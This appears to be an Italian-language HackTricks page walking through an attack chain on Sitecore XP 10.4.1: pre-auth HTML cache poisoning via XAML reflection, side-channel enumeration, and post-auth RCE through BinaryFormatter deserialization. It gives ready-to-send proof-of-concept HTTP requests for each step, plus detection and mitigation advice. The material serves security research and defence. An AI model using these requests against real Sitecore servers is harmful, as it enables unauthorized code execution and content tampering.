Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 7 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Questa pagina riassume una catena d'attacco pratica contro Sitecore XP 10.4.1 che passa da un pre‑auth XAML handler a HTML cache poisoning e, tramite un flusso UI autenticato, a RCE attraverso BinaryFormatter deserialization. Le tecniche si generalizzano a versioni/componenti Sitecore simili e forniscono primitive concrete per testare, rilevare e harden.

  • Prodotto interessato testato: Sitecore XP 10.4.1 rev. 011628
  • Corretto in: KB1003667, KB1003734 (giugno/luglio 2025)

Vedi anche:

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

Il punto di ingresso è il pre‑auth XAML handler registrato in web.config:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Accessibile tramite:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

L'albero dei controlli include AjaxScriptManager che, nelle richieste di evento, legge campi attacker‑controlled e invoca in modo riflessivo metodi sui controlli mirati:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Osservazione chiave: la pagina XAML include un'istanza di XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl deriva da Sitecore.Web.UI.WebControl (una classe Sitecore), che applica la lista consentita ReflectionUtil.Filter (Sitecore.*), sbloccando metodi su Sitecore WebControl.

Metodo magico per il poisoning:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Poiché possiamo indirizzare xmlcontrol:GlobalHeader e richiamare per nome i metodi di Sitecore.Web.UI.WebControl, otteniamo una primitiva pre-auth per la scrittura arbitraria di HtmlCache.

Richiesta PoC (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Note:

  • __SOURCE è il clientID di xmlcontrol:GlobalHeader all'interno di Sitecore.Shell.Xaml.WebControl (comunemente stabile come ctl00_ctl00_ctl05_ctl03 poiché deriva da XAML statico).
  • Il formato di __PARAMETERS è Method("arg1","arg2").

Cosa avvelenare: costruzione della chiave della cache

Costruzione tipica della chiave di HtmlCache usata dai controlli Sitecore:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Esempio di targeted poisoning per un sublayout noto:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Enumerazione degli elementi cacheabili e delle dimensioni “vary by”

Se ItemService è (mis)esposto anonimamente, puoi enumerare i componenti cacheabili per ricavare chiavi esatte.

Sonda rapida:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Elenca gli elementi cacheable e i flags:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Cerca campi come Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. I nomi dei dispositivi possono essere enumerati tramite:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration under restricted identities (CVE-2025-53694)

Anche quando ItemService impersona un account limitato (es., ServicesAPI) e restituisce un array Results vuoto, TotalCount può comunque riflettere pre‑ACL Solr hits. Puoi brute‑force item groups/ids con wildcards e osservare TotalCount convergere per mappare contenuti e dispositivi interni:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)

Sink:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Raggiungibile tramite lo step di pipeline convertToRuntimeHtml ConvertWebControls, che cerca un elemento con id {iframeId}_inner e effettua la decodifica base64 e la deserializzazione, quindi inietta la stringa risultante nell'HTML:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Trigger (autenticato, con privilegi Content Editor). La dialog FixHtml invoca convertToRuntimeHtml. End‑to‑end senza clic sull'interfaccia utente:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Generazione del gadget: usare ysoserial.net / YSoNet con BinaryFormatter per produrre un payload base64 che restituisce una stringa. Il contenuto della stringa viene scritto nell'HTML da ConvertWebControls dopo l'esecuzione degli effetti collaterali della deserializzazione.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Catena completa

  1. Un attaccante Pre‑auth avvelena HtmlCache con HTML arbitrario invocando riflessivamente WebControl.AddToCache tramite XAML AjaxScriptManager.
  2. L'HTML avvelenato serve JavaScript che spinge un utente Content Editor autenticato attraverso il flusso FixHtml.
  3. La pagina FixHtml innesca convertToRuntimeHtml → ConvertWebControls, che deserializza base64 controllato dall'attaccante tramite BinaryFormatter → RCE con l'identità dell'app pool di Sitecore.

Rilevamento

  • Pre‑auth XAML: richieste a /-/xaml/Sitecore.Shell.Xaml.WebControl con __ISEVENT=1, __SOURCE sospetto e __PARAMETERS=AddToCache(...).
  • ItemService probing: picchi di query wildcard a /sitecore/api/ssc, TotalCount elevato con Results vuoti.
  • Tentativi di deserializzazione: EditHtml.aspx seguito da FixHtml.aspx?hdl=... e base64 insolitamente grande nei campi HTML.

Mitigazioni

  • Applicare le patch Sitecore KB1003667 e KB1003734; limitare/disabilitare gli handler XAML pre‑auth o aggiungere una validazione rigorosa; monitorare e rate‑limitare /-/xaml/.
  • Rimuovere/sostituire BinaryFormatter; limitare l'accesso a convertToRuntimeHtml o applicare una forte validazione lato server dei flussi di modifica HTML.
  • Restringere l'accesso a /sitecore/api/ssc al loopback o a ruoli autenticati; evitare pattern di impersonazione che causano side channel basati su TotalCount.
  • Applicare MFA/least privilege per gli utenti Content Editor; rivedere la CSP per ridurre l'impatto del JS steering derivante dalla cache poisoning.

References

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks